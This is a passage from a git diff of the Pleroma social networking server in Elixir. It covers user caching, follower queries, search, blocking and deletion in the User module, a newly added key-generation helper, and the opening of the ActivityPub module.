	ap_id =
	Cachex.fetch!(:user_cache, key, fn _ ->
	user = get_by_id(id)

	if user do
	Cachex.put(:user_cache, "ap_id:#{user.ap_id}", user)
	{:commit, user.ap_id}
	else
	{:ignore, ""}
	end
	end)

	get_cached_by_ap_id(ap_id)
	end

	def get_cached_by_nickname(nickname) do
	key = "nickname:#{nickname}"

	Cachex.fetch!(:user_cache, key, fn ->
	user_result = get_or_fetch_by_nickname(nickname)

	case user_result do
	{:ok, user} -> {:commit, user}
	{:error, _error} -> {:ignore, nil}
	end
	end)
	end

	def get_cached_by_nickname_or_id(nickname_or_id) do
	get_cached_by_id(nickname_or_id) \|\| get_cached_by_nickname(nickname_or_id)
	end

	def get_by_nickname(nickname) do
	Repo.get_by(User, nickname: nickname) \|\|
	if Regex.match?(~r(@#{Pleroma.Web.Endpoint.host()})i, nickname) do
	Repo.get_by(User, nickname: local_nickname(nickname))
	end
	end

	def get_by_email(email), do: Repo.get_by(User, email: email)

	def get_by_nickname_or_email(nickname_or_email) do
	get_by_nickname(nickname_or_email) \|\| get_by_email(nickname_or_email)
	end

	def get_cached_user_info(user) do
	key = "user_info:#{user.id}"
	Cachex.fetch!(:user_cache, key, fn _ -> user_info(user) end)
	end

	def fetch_by_nickname(nickname) do
	ap_try = ActivityPub.make_user_from_nickname(nickname)

	case ap_try do
	{:ok, user} -> {:ok, user}
	_ -> OStatus.make_user(nickname)
	end
	end

	def get_or_fetch_by_nickname(nickname) do
	with %User{} = user <- get_by_nickname(nickname) do
	{:ok, user}
	else
	_e ->
	with [_nick, _domain] <- String.split(nickname, "@"),
	{:ok, user} <- fetch_by_nickname(nickname) do
	if Pleroma.Config.get([:fetch_initial_posts, :enabled]) do
	fetch_initial_posts(user)
	end

	{:ok, user}
	else
	_e -> {:error, "not found " <> nickname}
	end
	end
	end

	@doc "Fetch some posts when the user has just been federated with"
	def fetch_initial_posts(user),
	do: PleromaJobQueue.enqueue(:background, __MODULE__, [:fetch_initial_posts, user])

	@spec get_followers_query(User.t(), pos_integer() \| nil) :: Ecto.Query.t()
	def get_followers_query(%User{} = user, nil) do
	User.Query.build(%{followers: user, deactivated: false})
	end

	def get_followers_query(user, page) do
	from(u in get_followers_query(user, nil))
	\|> User.Query.paginate(page, 20)
	end

	@spec get_followers_query(User.t()) :: Ecto.Query.t()
	def get_followers_query(user), do: get_followers_query(user, nil)

	def get_followers(user, page \\ nil) do
	q = get_followers_query(user, page)

	{:ok, Repo.all(q)}
	end

	def get_followers_ids(user, page \\ nil) do
	q = get_followers_query(user, page)

	Repo.all(from(u in q, select: u.id))
	end

	@spec get_friends_query(User.t(), pos_integer() \| nil) :: Ecto.Query.t()
	def get_friends_query(%User{} = user, nil) do
	User.Query.build(%{friends: user, deactivated: false})
	end

	def get_friends_query(user, page) do
	from(u in get_friends_query(user, nil))
	\|> User.Query.paginate(page, 20)
	end

	@spec get_friends_query(User.t()) :: Ecto.Query.t()
	def get_friends_query(user), do: get_friends_query(user, nil)

	def get_friends(user, page \\ nil) do
	q = get_friends_query(user, page)

	{:ok, Repo.all(q)}
	end

	def get_friends_ids(user, page \\ nil) do
	q = get_friends_query(user, page)

	Repo.all(from(u in q, select: u.id))
	end

	@spec get_follow_requests(User.t()) :: {:ok, [User.t()]}
	def get_follow_requests(%User{} = user) do
	users =
	Activity.follow_requests_for_actor(user)
	\|> join(:inner, [a], u in User, on: a.actor == u.ap_id)
	\|> where([a, u], not fragment("? @> ?", u.following, ^[user.follower_address]))
	\|> group_by([a, u], u.id)
	\|> select([a, u], u)
	\|> Repo.all()

	{:ok, users}
	end

	def increase_note_count(%User{} = user) do
	User
	\|> where(id: ^user.id)
	\|> update([u],
	set: [
	info:
	fragment(
	"jsonb_set(?, '{note_count}', ((?->>'note_count')::int + 1)::varchar::jsonb, true)",
	u.info,
	u.info
	)
	]
	)
	\|> select([u], u)
	\|> Repo.update_all([])
	\|> case do
	{1, [user]} -> set_cache(user)
	_ -> {:error, user}
	end
	end

	def decrease_note_count(%User{} = user) do
	User
	\|> where(id: ^user.id)
	\|> update([u],
	set: [
	info:
	fragment(
	"jsonb_set(?, '{note_count}', (greatest(0, (?->>'note_count')::int - 1))::varchar::jsonb, true)",
	u.info,
	u.info
	)
	]
	)
	\|> select([u], u)
	\|> Repo.update_all([])
	\|> case do
	{1, [user]} -> set_cache(user)
	_ -> {:error, user}
	end
	end

	def update_note_count(%User{} = user) do
	note_count_query =
	from(
	a in Object,
	where: fragment("?->>'actor' = ? and ?->>'type' = 'Note'", a.data, ^user.ap_id, a.data),
	select: count(a.id)
	)

	note_count = Repo.one(note_count_query)

	info_cng = User.Info.set_note_count(user.info, note_count)

	user
	\|> change()
	\|> put_embed(:info, info_cng)
	\|> update_and_set_cache()
	end

	def update_follower_count(%User{} = user) do
	follower_count_query =
	User.Query.build(%{followers: user, deactivated: false})
	\|> select([u], %{count: count(u.id)})

	User
	\|> where(id: ^user.id)
	\|> join(:inner, [u], s in subquery(follower_count_query))
	\|> update([u, s],
	set: [
	info:
	fragment(
	"jsonb_set(?, '{follower_count}', ?::varchar::jsonb, true)",
	u.info,
	s.count
	)
	]
	)
	\|> select([u], u)
	\|> Repo.update_all([])
	\|> case do
	{1, [user]} -> set_cache(user)
	_ -> {:error, user}
	end
	end

	def remove_duplicated_following(%User{following: following} = user) do
	uniq_following = Enum.uniq(following)

	if length(following) == length(uniq_following) do
	{:ok, user}
	else
	user
	\|> update_changeset(%{following: uniq_following})
	\|> update_and_set_cache()
	end
	end

	@spec get_users_from_set([String.t()], boolean()) :: [User.t()]
	def get_users_from_set(ap_ids, local_only \\ true) do
	criteria = %{ap_id: ap_ids, deactivated: false}
	criteria = if local_only, do: Map.put(criteria, :local, true), else: criteria

	User.Query.build(criteria)
	\|> Repo.all()
	end

	@spec get_recipients_from_activity(Activity.t()) :: [User.t()]
	def get_recipients_from_activity(%Activity{recipients: to}) do
	User.Query.build(%{recipients_from_activity: to, local: true, deactivated: false})
	\|> Repo.all()
	end

	def search(query, resolve \\ false, for_user \\ nil) do
	# Strip the beginning @ off if there is a query
	query = String.trim_leading(query, "@")

	if resolve, do: get_or_fetch(query)

	{:ok, results} =
	Repo.transaction(fn ->
	Ecto.Adapters.SQL.query(Repo, "select set_limit(0.25)", [])
	Repo.all(search_query(query, for_user))
	end)

	results
	end

	def search_query(query, for_user) do
	fts_subquery = fts_search_subquery(query)
	trigram_subquery = trigram_search_subquery(query)
	union_query = from(s in trigram_subquery, union_all: ^fts_subquery)
	distinct_query = from(s in subquery(union_query), order_by: s.search_type, distinct: s.id)

	from(s in subquery(boost_search_rank_query(distinct_query, for_user)),
	order_by: [desc: s.search_rank],
	limit: 20
	)
	end

	defp boost_search_rank_query(query, nil), do: query

	defp boost_search_rank_query(query, for_user) do
	friends_ids = get_friends_ids(for_user)
	followers_ids = get_followers_ids(for_user)

	from(u in subquery(query),
	select_merge: %{
	search_rank:
	fragment(
	"""
	CASE WHEN (?) THEN (?) * 1.3
	WHEN (?) THEN (?) * 1.2
	WHEN (?) THEN (?) * 1.1
	ELSE (?) END
	""",
	u.id in ^friends_ids and u.id in ^followers_ids,
	u.search_rank,
	u.id in ^friends_ids,
	u.search_rank,
	u.id in ^followers_ids,
	u.search_rank,
	u.search_rank
	)
	}
	)
	end

	defp fts_search_subquery(term, query \\ User) do
	processed_query =
	term
	\|> String.replace(~r/\W+/, " ")
	\|> String.trim()
	\|> String.split()
	\|> Enum.map(&(&1 <> ":*"))
	\|> Enum.join(" \| ")

	from(
	u in query,
	select_merge: %{
	search_type: ^0,
	search_rank:
	fragment(
	"""
	ts_rank_cd(
	setweight(to_tsvector('simple', regexp_replace(?, '\\W', ' ', 'g')), 'A') \|\|
	setweight(to_tsvector('simple', regexp_replace(coalesce(?, ''), '\\W', ' ', 'g')), 'B'),
	to_tsquery('simple', ?),
	32
	)
	""",
	u.nickname,
	u.name,
	^processed_query
	)
	},
	where:
	fragment(
	"""
	(setweight(to_tsvector('simple', regexp_replace(?, '\\W', ' ', 'g')), 'A') \|\|
	setweight(to_tsvector('simple', regexp_replace(coalesce(?, ''), '\\W', ' ', 'g')), 'B')) @@ to_tsquery('simple', ?)
	""",
	u.nickname,
	u.name,
	^processed_query
	)
	)
	\|> restrict_deactivated()
	end

	defp trigram_search_subquery(term) do
	from(
	u in User,
	select_merge: %{
	# ^1 gives 'Postgrex expected a binary, got 1' for some weird reason
	search_type: fragment("?", 1),
	search_rank:
	fragment(
	"similarity(?, trim(? \|\| ' ' \|\| coalesce(?, '')))",
	^term,
	u.nickname,
	u.name
	)
	},
	where: fragment("trim(? \|\| ' ' \|\| coalesce(?, '')) % ?", u.nickname, u.name, ^term)
	)
	\|> restrict_deactivated()
	end

	def mute(muter, %User{ap_id: ap_id}) do
	info_cng =
	muter.info
	\|> User.Info.add_to_mutes(ap_id)

	cng =
	change(muter)
	\|> put_embed(:info, info_cng)

	update_and_set_cache(cng)
	end

	def unmute(muter, %{ap_id: ap_id}) do
	info_cng =
	muter.info
	\|> User.Info.remove_from_mutes(ap_id)

	cng =
	change(muter)
	\|> put_embed(:info, info_cng)

	update_and_set_cache(cng)
	end

	def subscribe(subscriber, %{ap_id: ap_id}) do
	deny_follow_blocked = Pleroma.Config.get([:user, :deny_follow_blocked])

	with %User{} = subscribed <- get_cached_by_ap_id(ap_id) do
	blocked = blocks?(subscribed, subscriber) and deny_follow_blocked

	if blocked do
	{:error, "Could not subscribe: #{subscribed.nickname} is blocking you"}
	else
	info_cng =
	subscribed.info
	\|> User.Info.add_to_subscribers(subscriber.ap_id)

	change(subscribed)
	\|> put_embed(:info, info_cng)
	\|> update_and_set_cache()
	end
	end
	end

	def unsubscribe(unsubscriber, %{ap_id: ap_id}) do
	with %User{} = user <- get_cached_by_ap_id(ap_id) do
	info_cng =
	user.info
	\|> User.Info.remove_from_subscribers(unsubscriber.ap_id)

	change(user)
	\|> put_embed(:info, info_cng)
	\|> update_and_set_cache()
	end
	end

	def block(blocker, %User{ap_id: ap_id} = blocked) do
	# sever any follow relationships to prevent leaks per activitypub (Pleroma issue #213)
	blocker =
	if following?(blocker, blocked) do
	{:ok, blocker, _} = unfollow(blocker, blocked)
	blocker
	else
	blocker
	end

	blocker =
	if subscribed_to?(blocked, blocker) do
	{:ok, blocker} = unsubscribe(blocked, blocker)
	blocker
	else
	blocker
	end

	if following?(blocked, blocker) do
	unfollow(blocked, blocker)
	end

	{:ok, blocker} = update_follower_count(blocker)

	info_cng =
	blocker.info
	\|> User.Info.add_to_block(ap_id)

	cng =
	change(blocker)
	\|> put_embed(:info, info_cng)

	update_and_set_cache(cng)
	end

	# helper to handle the block given only an actor's AP id
	def block(blocker, %{ap_id: ap_id}) do
	block(blocker, get_cached_by_ap_id(ap_id))
	end

	def unblock(blocker, %{ap_id: ap_id}) do
	info_cng =
	blocker.info
	\|> User.Info.remove_from_block(ap_id)

	cng =
	change(blocker)
	\|> put_embed(:info, info_cng)

	update_and_set_cache(cng)
	end

	def mutes?(nil, _), do: false
	def mutes?(user, %{ap_id: ap_id}), do: Enum.member?(user.info.mutes, ap_id)

	def blocks?(user, %{ap_id: ap_id}) do
	blocks = user.info.blocks
	domain_blocks = user.info.domain_blocks
	%{host: host} = URI.parse(ap_id)

	Enum.member?(blocks, ap_id) \|\|
	Enum.any?(domain_blocks, fn domain ->
	host == domain
	end)
	end

	def subscribed_to?(user, %{ap_id: ap_id}) do
	with %User{} = target <- get_cached_by_ap_id(ap_id) do
	Enum.member?(target.info.subscribers, user.ap_id)
	end
	end

	@spec muted_users(User.t()) :: [User.t()]
	def muted_users(user) do
	User.Query.build(%{ap_id: user.info.mutes, deactivated: false})
	\|> Repo.all()
	end

	@spec blocked_users(User.t()) :: [User.t()]
	def blocked_users(user) do
	User.Query.build(%{ap_id: user.info.blocks, deactivated: false})
	\|> Repo.all()
	end

	@spec subscribers(User.t()) :: [User.t()]
	def subscribers(user) do
	User.Query.build(%{ap_id: user.info.subscribers, deactivated: false})
	\|> Repo.all()
	end

	def block_domain(user, domain) do
	info_cng =
	user.info
	\|> User.Info.add_to_domain_block(domain)

	cng =
	change(user)
	\|> put_embed(:info, info_cng)

	update_and_set_cache(cng)
	end

	def unblock_domain(user, domain) do
	info_cng =
	user.info
	\|> User.Info.remove_from_domain_block(domain)

	cng =
	change(user)
	\|> put_embed(:info, info_cng)

	update_and_set_cache(cng)
	end

	def deactivate_async(user, status \\ true) do
	PleromaJobQueue.enqueue(:background, __MODULE__, [:deactivate_async, user, status])
	end

	def deactivate(%User{} = user, status \\ true) do
	info_cng = User.Info.set_activation_status(user.info, status)

	with {:ok, friends} <- User.get_friends(user),
	{:ok, followers} <- User.get_followers(user),
	{:ok, user} <-
	user
	\|> change()
	\|> put_embed(:info, info_cng)
	\|> update_and_set_cache() do
	Enum.each(followers, &invalidate_cache(&1))
	Enum.each(friends, &update_follower_count(&1))

	{:ok, user}
	end
	end

	def update_notification_settings(%User{} = user, settings \\ %{}) do
	info_changeset = User.Info.update_notification_settings(user.info, settings)

	change(user)
	\|> put_embed(:info, info_changeset)
	\|> update_and_set_cache()
	end

	@spec delete(User.t()) :: :ok
	def delete(%User{} = user),
	do: PleromaJobQueue.enqueue(:background, __MODULE__, [:delete, user])

	@spec perform(atom(), User.t()) :: {:ok, User.t()}
	def perform(:delete, %User{} = user) do
	{:ok, user} = User.deactivate(user)

	# Remove all relationships
	{:ok, followers} = User.get_followers(user)

	Enum.each(followers, fn follower -> User.unfollow(follower, user) end)

	{:ok, friends} = User.get_friends(user)

	Enum.each(friends, fn followed -> User.unfollow(user, followed) end)

	delete_user_activities(user)
	end

	@spec perform(atom(), User.t()) :: {:ok, User.t()}
	def perform(:fetch_initial_posts, %User{} = user) do
	pages = Pleroma.Config.get!([:fetch_initial_posts, :pages])

	Enum.each(
	# Insert all the posts in reverse order, so they're in the right order on the timeline
	Enum.reverse(Utils.fetch_ordered_collection(user.info.source_data["outbox"], pages)),
	&Pleroma.Web.Federator.incoming_ap_doc/1
	)

	{:ok, user}
	end

	def perform(:deactivate_async, user, status), do: deactivate(user, status)

	@spec perform(atom(), User.t(), list()) :: list() \| {:error, any()}
	def perform(:blocks_import, %User{} = blocker, blocked_identifiers)
	when is_list(blocked_identifiers) do
	Enum.map(
	blocked_identifiers,
	fn blocked_identifier ->
	with {:ok, %User{} = blocked} <- get_or_fetch(blocked_identifier),
	{:ok, blocker} <- block(blocker, blocked),
	{:ok, _} <- ActivityPub.block(blocker, blocked) do
	blocked
	else
	err ->
	Logger.debug("blocks_import failed for #{blocked_identifier} with: #{inspect(err)}")
	err
	end
	end
	)
	end

	@spec perform(atom(), User.t(), list()) :: list() \| {:error, any()}
	def perform(:follow_import, %User{} = follower, followed_identifiers)
	when is_list(followed_identifiers) do
	Enum.map(
	followed_identifiers,
	fn followed_identifier ->
	with {:ok, %User{} = followed} <- get_or_fetch(followed_identifier),
	{:ok, follower} <- maybe_direct_follow(follower, followed),
	{:ok, _} <- ActivityPub.follow(follower, followed) do
	followed
	else
	err ->
	Logger.debug("follow_import failed for #{followed_identifier} with: #{inspect(err)}")
	err
	end
	end
	)
	end

	def blocks_import(%User{} = blocker, blocked_identifiers) when is_list(blocked_identifiers),
	do:
	PleromaJobQueue.enqueue(:background, __MODULE__, [
	:blocks_import,
	blocker,
	blocked_identifiers
	])

	def follow_import(%User{} = follower, followed_identifiers) when is_list(followed_identifiers),
	do:
	PleromaJobQueue.enqueue(:background, __MODULE__, [
	:follow_import,
	follower,
	followed_identifiers
	])

	def delete_user_activities(%User{ap_id: ap_id} = user) do
	stream =
	ap_id
	\|> Activity.query_by_actor()
	\|> Repo.stream()

	Repo.transaction(fn -> Enum.each(stream, &delete_activity(&1)) end, timeout: :infinity)

	{:ok, user}
	end

	defp delete_activity(%{data: %{"type" => "Create"}} = activity) do
	Object.normalize(activity) \|> ActivityPub.delete()
	end

	defp delete_activity(_activity), do: "Doing nothing"

	def html_filter_policy(%User{info: %{no_rich_text: true}}) do
	Pleroma.HTML.Scrubber.TwitterText
	end

	@default_scrubbers Pleroma.Config.get([:markup, :scrub_policy])

	def html_filter_policy(_), do: @default_scrubbers

	def fetch_by_ap_id(ap_id) do
	ap_try = ActivityPub.make_user_from_ap_id(ap_id)

	case ap_try do
	{:ok, user} ->
	{:ok, user}

	_ ->
	case OStatus.make_user(ap_id) do
	{:ok, user} -> {:ok, user}
	_ -> {:error, "Could not fetch by AP id"}
	end
	end
	end

	def get_or_fetch_by_ap_id(ap_id) do
	user = get_cached_by_ap_id(ap_id)

	if !is_nil(user) and !User.needs_update?(user) do
	{:ok, user}
	else
	# Whether to fetch initial posts for the user (if it's a new user & the fetching is enabled)
	should_fetch_initial = is_nil(user) and Pleroma.Config.get([:fetch_initial_posts, :enabled])

	resp = fetch_by_ap_id(ap_id)

	if should_fetch_initial do
	with {:ok, %User{} = user} <- resp do
	fetch_initial_posts(user)
	end
	end

	resp
	end
	end

	def get_or_create_instance_user do
	relay_uri = "#{Pleroma.Web.Endpoint.url()}/relay"

	if user = get_cached_by_ap_id(relay_uri) do
	user
	else
	changes =
	%User{info: %User.Info{}}
	\|> cast(%{}, [:ap_id, :nickname, :local])
	\|> put_change(:ap_id, relay_uri)
	\|> put_change(:nickname, nil)
	\|> put_change(:local, true)
	\|> put_change(:follower_address, relay_uri <> "/followers")

	{:ok, user} = Repo.insert(changes)
	user
	end
	end

	# AP style
	def public_key_from_info(%{
	source_data: %{"publicKey" => %{"publicKeyPem" => public_key_pem}}
	}) do
	key =
	public_key_pem
	\|> :public_key.pem_decode()
	\|> hd()
	\|> :public_key.pem_entry_decode()

	{:ok, key}
	end

	# OStatus Magic Key
	def public_key_from_info(%{magic_key: magic_key}) do
	{:ok, Pleroma.Web.Salmon.decode_key(magic_key)}
	end

	def get_public_key_for_ap_id(ap_id) do
	with {:ok, %User{} = user} <- get_or_fetch_by_ap_id(ap_id),
	{:ok, public_key} <- public_key_from_info(user.info) do
	{:ok, public_key}
	else
	_ -> :error
	end
	end

	defp blank?(""), do: nil
	defp blank?(n), do: n

	def insert_or_update_user(data) do
	data
	\|> Map.put(:name, blank?(data[:name]) \|\| data[:nickname])
	\|> remote_user_creation()
	\|> Repo.insert(on_conflict: :replace_all, conflict_target: :nickname)
	\|> set_cache()
	end

	def ap_enabled?(%User{local: true}), do: true
	def ap_enabled?(%User{info: info}), do: info.ap_enabled
	def ap_enabled?(_), do: false

	@doc "Gets or fetch a user by uri or nickname."
	@spec get_or_fetch(String.t()) :: {:ok, User.t()} \| {:error, String.t()}
	def get_or_fetch("http" <> _host = uri), do: get_or_fetch_by_ap_id(uri)
	def get_or_fetch(nickname), do: get_or_fetch_by_nickname(nickname)

	# wait a period of time and return newest version of the User structs
	# this is because we have synchronous follow APIs and need to simulate them
	# with an async handshake
	def wait_and_refresh(_, %User{local: true} = a, %User{local: true} = b) do
	with %User{} = a <- User.get_cached_by_id(a.id),
	%User{} = b <- User.get_cached_by_id(b.id) do
	{:ok, a, b}
	else
	_e ->
	:error
	end
	end

	def wait_and_refresh(timeout, %User{} = a, %User{} = b) do
	with :ok <- :timer.sleep(timeout),
	%User{} = a <- User.get_cached_by_id(a.id),
	%User{} = b <- User.get_cached_by_id(b.id) do
	{:ok, a, b}
	else
	_e ->
	:error
	end
	end

	def parse_bio(bio) when is_binary(bio) and bio != "" do
	bio
	\|> CommonUtils.format_input("text/plain", mentions_format: :full)
	\|> elem(0)
	end

	def parse_bio(_), do: ""

	def parse_bio(bio, user) when is_binary(bio) and bio != "" do
	# TODO: get profile URLs other than user.ap_id
	profile_urls = [user.ap_id]

	bio
	\|> CommonUtils.format_input("text/plain",
	mentions_format: :full,
	rel: &RelMe.maybe_put_rel_me(&1, profile_urls)
	)
	\|> elem(0)
	end

	def parse_bio(_, _), do: ""

	def tag(user_identifiers, tags) when is_list(user_identifiers) do
	Repo.transaction(fn ->
	for user_identifier <- user_identifiers, do: tag(user_identifier, tags)
	end)
	end

	def tag(nickname, tags) when is_binary(nickname),
	do: tag(get_by_nickname(nickname), tags)

	def tag(%User{} = user, tags),
	do: update_tags(user, Enum.uniq((user.tags \|\| []) ++ normalize_tags(tags)))

	def untag(user_identifiers, tags) when is_list(user_identifiers) do
	Repo.transaction(fn ->
	for user_identifier <- user_identifiers, do: untag(user_identifier, tags)
	end)
	end

	def untag(nickname, tags) when is_binary(nickname),
	do: untag(get_by_nickname(nickname), tags)

	def untag(%User{} = user, tags),
	do: update_tags(user, (user.tags \|\| []) -- normalize_tags(tags))

	defp update_tags(%User{} = user, new_tags) do
	{:ok, updated_user} =
	user
	\|> change(%{tags: new_tags})
	\|> update_and_set_cache()

	updated_user
	end

	defp normalize_tags(tags) do
	[tags]
	\|> List.flatten()
	\|> Enum.map(&String.downcase(&1))
	end

	defp local_nickname_regex do
	if Pleroma.Config.get([:instance, :extended_nickname_format]) do
	@extended_local_nickname_regex
	else
	@strict_local_nickname_regex
	end
	end

	def local_nickname(nickname_or_mention) do
	nickname_or_mention
	\|> full_nickname()
	\|> String.split("@")
	\|> hd()
	end

	def full_nickname(nickname_or_mention),
	do: String.trim_leading(nickname_or_mention, "@")

	def error_user(ap_id) do
	%User{
	name: ap_id,
	ap_id: ap_id,
	info: %User.Info{},
	nickname: "erroruser@example.com",
	inserted_at: NaiveDateTime.utc_now()
	}
	end

	@spec all_superusers() :: [User.t()]
	def all_superusers do
	User.Query.build(%{super_users: true, local: true, deactivated: false})
	\|> Repo.all()
	end

	def showing_reblogs?(%User{} = user, %User{} = target) do
	target.ap_id not in user.info.muted_reblogs
	end

	@spec toggle_confirmation(User.t()) :: {:ok, User.t()} \| {:error, Changeset.t()}
	def toggle_confirmation(%User{} = user) do
	need_confirmation? = !user.info.confirmation_pending

	info_changeset =
	User.Info.confirmation_changeset(user.info, need_confirmation: need_confirmation?)

	user
	\|> change()
	\|> put_embed(:info, info_changeset)
	\|> update_and_set_cache()
	end

	def get_mascot(%{info: %{mascot: %{} = mascot}}) when not is_nil(mascot) do
	mascot
	end

	def get_mascot(%{info: %{mascot: mascot}}) when is_nil(mascot) do
	# use instance-default
	config = Pleroma.Config.get([:assets, :mascots])
	default_mascot = Pleroma.Config.get([:assets, :default_mascot])
	mascot = Keyword.get(config, default_mascot)

	%{
	"id" => "default-mascot",
	"url" => mascot[:url],
	"preview_url" => mascot[:url],
	"pleroma" => %{
	"mime_type" => mascot[:mime_type]
	}
	}
	end
	+
	+ def ensure_keys_present(user) do
	+ info = user.info
	+
	+ if info.keys do
	+ {:ok, user}
	+ else
	+ {:ok, pem} = Keys.generate_rsa_pem()
	+
	+ info_cng =
	+ info
	+ \|> User.Info.set_keys(pem)
	+
	+ cng =
	+ Ecto.Changeset.change(user)
	+ \|> Ecto.Changeset.put_embed(:info, info_cng)
	+
	+ update_and_set_cache(cng)
	+ end
	+ end
	end
	diff --git a/lib/pleroma/web/activity_pub/activity_pub.ex b/lib/pleroma/web/activity_pub/activity_pub.ex
	index 5c3156978..aa0229db7 100644
	--- a/lib/pleroma/web/activity_pub/activity_pub.ex
	+++ b/lib/pleroma/web/activity_pub/activity_pub.ex
	@@ -1,995 +1,1013 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.ActivityPub do
	alias Pleroma.Activity
	alias Pleroma.Conversation
	alias Pleroma.Notification
	alias Pleroma.Object
	alias Pleroma.Object.Fetcher
	alias Pleroma.Pagination
	alias Pleroma.Repo
	alias Pleroma.Upload
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.MRF
	alias Pleroma.Web.ActivityPub.Transmogrifier
	alias Pleroma.Web.WebFinger

	import Ecto.Query
	import Pleroma.Web.ActivityPub.Utils
	import Pleroma.Web.ActivityPub.Visibility

	require Logger

	# For Announce activities, we filter the recipients based on following status for any actors
	# that match actual users. See issue #164 for more information about why this is necessary.
	defp get_recipients(%{"type" => "Announce"} = data) do
	to = data["to"] \|\| []
	cc = data["cc"] \|\| []
	actor = User.get_cached_by_ap_id(data["actor"])

	recipients =
	(to ++ cc)
	\|> Enum.filter(fn recipient ->
	case User.get_cached_by_ap_id(recipient) do
	nil ->
	true

	user ->
	User.following?(user, actor)
	end
	end)

	{recipients, to, cc}
	end

	defp get_recipients(%{"type" => "Create"} = data) do
	to = data["to"] \|\| []
	cc = data["cc"] \|\| []
	actor = data["actor"] \|\| []
	recipients = (to ++ cc ++ [actor]) \|> Enum.uniq()
	{recipients, to, cc}
	end

	defp get_recipients(data) do
	to = data["to"] \|\| []
	cc = data["cc"] \|\| []
	recipients = to ++ cc
	{recipients, to, cc}
	end

	defp check_actor_is_active(actor) do
	if not is_nil(actor) do
	with user <- User.get_cached_by_ap_id(actor),
	false <- user.info.deactivated do
	:ok
	else
	_e -> :reject
	end
	else
	:ok
	end
	end

	defp check_remote_limit(%{"object" => %{"content" => content}}) when not is_nil(content) do
	limit = Pleroma.Config.get([:instance, :remote_limit])
	String.length(content) <= limit
	end

	defp check_remote_limit(_), do: true

	def increase_note_count_if_public(actor, object) do
	if is_public?(object), do: User.increase_note_count(actor), else: {:ok, actor}
	end

	def decrease_note_count_if_public(actor, object) do
	if is_public?(object), do: User.decrease_note_count(actor), else: {:ok, actor}
	end

	def increase_replies_count_if_reply(%{
	"object" => %{"inReplyTo" => reply_ap_id} = object,
	"type" => "Create"
	}) do
	if is_public?(object) do
	Object.increase_replies_count(reply_ap_id)
	end
	end

	def increase_replies_count_if_reply(_create_data), do: :noop

	def decrease_replies_count_if_reply(%Object{
	data: %{"inReplyTo" => reply_ap_id} = object
	}) do
	if is_public?(object) do
	Object.decrease_replies_count(reply_ap_id)
	end
	end

	def decrease_replies_count_if_reply(_object), do: :noop

	def insert(map, local \\ true, fake \\ false) when is_map(map) do
	with nil <- Activity.normalize(map),
	map <- lazy_put_activity_defaults(map, fake),
	:ok <- check_actor_is_active(map["actor"]),
	{_, true} <- {:remote_limit_error, check_remote_limit(map)},
	{:ok, map} <- MRF.filter(map),
	{recipients, _, _} = get_recipients(map),
	{:fake, false, map, recipients} <- {:fake, fake, map, recipients},
	{:ok, map, object} <- insert_full_object(map) do
	{:ok, activity} =
	Repo.insert(%Activity{
	data: map,
	local: local,
	actor: map["actor"],
	recipients: recipients
	})

	# Splice in the child object if we have one.
	activity =
	if !is_nil(object) do
	Map.put(activity, :object, object)
	else
	activity
	end

	PleromaJobQueue.enqueue(:background, Pleroma.Web.RichMedia.Helpers, [:fetch, activity])

	Notification.create_notifications(activity)

	participations =
	activity
	\|> Conversation.create_or_bump_for()
	\|> get_participations()

	stream_out(activity)
	stream_out_participations(participations)
	{:ok, activity}
	else
	%Activity{} = activity ->
	{:ok, activity}

	{:fake, true, map, recipients} ->
	activity = %Activity{
	data: map,
	local: local,
	actor: map["actor"],
	recipients: recipients,
	id: "pleroma:fakeid"
	}

	Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity)
	{:ok, activity}

	error ->
	{:error, error}
	end
	end

	defp get_participations({:ok, %{participations: participations}}), do: participations
	defp get_participations(_), do: []

	def stream_out_participations(participations) do
	participations =
	participations
	\|> Repo.preload(:user)

	Enum.each(participations, fn participation ->
	Pleroma.Web.Streamer.stream("participation", participation)
	end)
	end

	def stream_out(activity) do
	public = "https://www.w3.org/ns/activitystreams#Public"

	if activity.data["type"] in ["Create", "Announce", "Delete"] do
	Pleroma.Web.Streamer.stream("user", activity)
	Pleroma.Web.Streamer.stream("list", activity)

	if Enum.member?(activity.data["to"], public) do
	Pleroma.Web.Streamer.stream("public", activity)

	if activity.local do
	Pleroma.Web.Streamer.stream("public:local", activity)
	end

	if activity.data["type"] in ["Create"] do
	object = Object.normalize(activity)

	object.data
	\|> Map.get("tag", [])
	\|> Enum.filter(fn tag -> is_bitstring(tag) end)
	\|> Enum.each(fn tag -> Pleroma.Web.Streamer.stream("hashtag:" <> tag, activity) end)

	if object.data["attachment"] != [] do
	Pleroma.Web.Streamer.stream("public:media", activity)

	if activity.local do
	Pleroma.Web.Streamer.stream("public:local:media", activity)
	end
	end
	end
	else
	# TODO: Write test, replace with visibility test
	if !Enum.member?(activity.data["cc"] \|\| [], public) &&
	!Enum.member?(
	activity.data["to"],
	User.get_cached_by_ap_id(activity.data["actor"]).follower_address
	),
	do: Pleroma.Web.Streamer.stream("direct", activity)
	end
	end
	end

	def create(%{to: to, actor: actor, context: context, object: object} = params, fake \\ false) do
	additional = params[:additional] \|\| %{}
	# only accept false as false value
	local = !(params[:local] == false)
	published = params[:published]

	with create_data <-
	make_create_data(
	%{to: to, actor: actor, published: published, context: context, object: object},
	additional
	),
	{:ok, activity} <- insert(create_data, local, fake),
	{:fake, false, activity} <- {:fake, fake, activity},
	_ <- increase_replies_count_if_reply(create_data),
	# Changing note count prior to enqueuing federation task in order to avoid
	# race conditions on updating user.info
	{:ok, _actor} <- increase_note_count_if_public(actor, activity),
	:ok <- maybe_federate(activity) do
	{:ok, activity}
	else
	{:fake, true, activity} ->
	{:ok, activity}
	end
	end

	def accept(%{to: to, actor: actor, object: object} = params) do
	# only accept false as false value
	local = !(params[:local] == false)

	with data <- %{"to" => to, "type" => "Accept", "actor" => actor.ap_id, "object" => object},
	{:ok, activity} <- insert(data, local),
	:ok <- maybe_federate(activity) do
	{:ok, activity}
	end
	end

	def reject(%{to: to, actor: actor, object: object} = params) do
	# only accept false as false value
	local = !(params[:local] == false)

	with data <- %{"to" => to, "type" => "Reject", "actor" => actor.ap_id, "object" => object},
	{:ok, activity} <- insert(data, local),
	:ok <- maybe_federate(activity) do
	{:ok, activity}
	end
	end

